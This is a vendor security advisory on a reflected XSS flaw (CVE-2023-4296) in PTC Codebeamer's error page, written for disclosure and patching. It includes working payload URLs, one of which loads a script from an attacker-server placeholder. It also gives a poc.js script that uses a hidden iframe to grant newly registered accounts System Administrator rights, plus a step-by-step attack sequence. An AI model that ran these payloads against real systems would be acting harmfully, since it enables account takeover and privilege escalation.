Vendor description
"Codebeamer offers unique digital workflows that help your teams improve development collaboration, product line development efficiency, and regulatory compliance. Codebeamer's open platform extends application lifecycle management
functionalities with product line configuration capabilities, and provides unique configurability for complex processes. Connect all development tools to give your teams a single development platform. You can also easily adapt the solution to specific development needs and automate process control for regulatory compliance."
Source: https://www.ptc.com/en/products/codebeamer
Business recommendation
SEC Consult recommends PTC customers to install the latest updates. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues.
Vulnerability overview/description
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
The dynamic Error Page in Codebeamer is vulnerable to a reflected XSS attack. It successfully sanitizes malicious HTML tags such as <script> and various JavaScript events like "onload" or "onerror" that can be used to execute arbitrary
JavaScript code when a certain event occurs. However, it was possible to bypass these restrictions, allowing an attacker to inject arbitrary JavaScript code which will be executed in the victim's browser upon clicking on a malicious link.
Proof of concept
By request of a CERT we are not publishing a working PoC at this point to allow sufficient time for affected parties to patch the vulnerability.
Edit 2023-10-23: POC has been included again.
1) Reflected Cross-Site Scripting (XSS) Vulnerability (CVE-2023-4296)
To verify this vulnerability, it is sufficient to open the following URL as an unauthenticated user in a web browser:
https:// <CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove = alert(window.origin)>
When a user now moves the cursor anywhere on the Error Page, the "onpointermove" event triggers, resulting in the execution of the alert() function. To further demonstrate the criticality of this vulnerability, the following XSS payload can be used:
https:// <CODEBEAMER_SERVER>/errorHandler.spr?fileName=<html onpointermove =
"if(!document.getElementById('SEC1337')){window.x=document.createElement('script');
window.x.id='SEC1337';window.x.src ='https:// <ATTACKER_SERVER>/poc.js';
document.body.appendChild(window.x);}"></html>
Note that the space before the equal sign in window.x.src ='https:// <ATTACKER_SERVER>/poc.js' is mandatory, as this section of the payload would otherwise be truncated to window.x. by the application, completely removing the URL of the attacker server.
When an admin user now clicks on this malicious link, an external JavaScript file will be loaded (poc.js), which can be found below. The included JavaScript code creates a hidden iframe which loads the page with the User Registration settings. This page allows to specify, whether newly registered accounts should get assigned to a certain group via multiple checkboxes to choose from. The script now automatically selects the checkbox "System Administrator", resulting in newly registered accounts having admin privileges in the application. As this attack takes place in a hidden iframe, the victim doesn't get any visual feedback that the attack is happening.
Attack Sequence:
- Send the malicious link to an administrator.
- Wait for the administrator to click on the malicious link.
- Register a new account with automatic admin privileges.
Content of poc.js:
frame = document.createElement("iframe");
frame.addEventListener("load", function() {
setTimeout(function(){
frame.contentDocument.getElementById("roles1").click();
frame.contentDocument.getElementById("notificationFrom").value = "example@sec-consult.com";
frame.contentDocument.getElementById("notificationAddress").value = "example@sec-consult.com";
frame.contentDocument.getElementsByClassName("actionBar")[0].childNodes[1].click();
}, 2000)
});
frame.src = "http:// <CODEBEAMER_SERVER>/sysadmin/configUserRegistration.spr";
frame.style="position: absolute;width:0;height:0;border:0;";
document.body.append(frame);
Vulnerable / tested versions
The following Codebeamer versions are affected by this vulnerability:
- <=22.10-SP7, <=22.04-SP5, <=21.09-SP13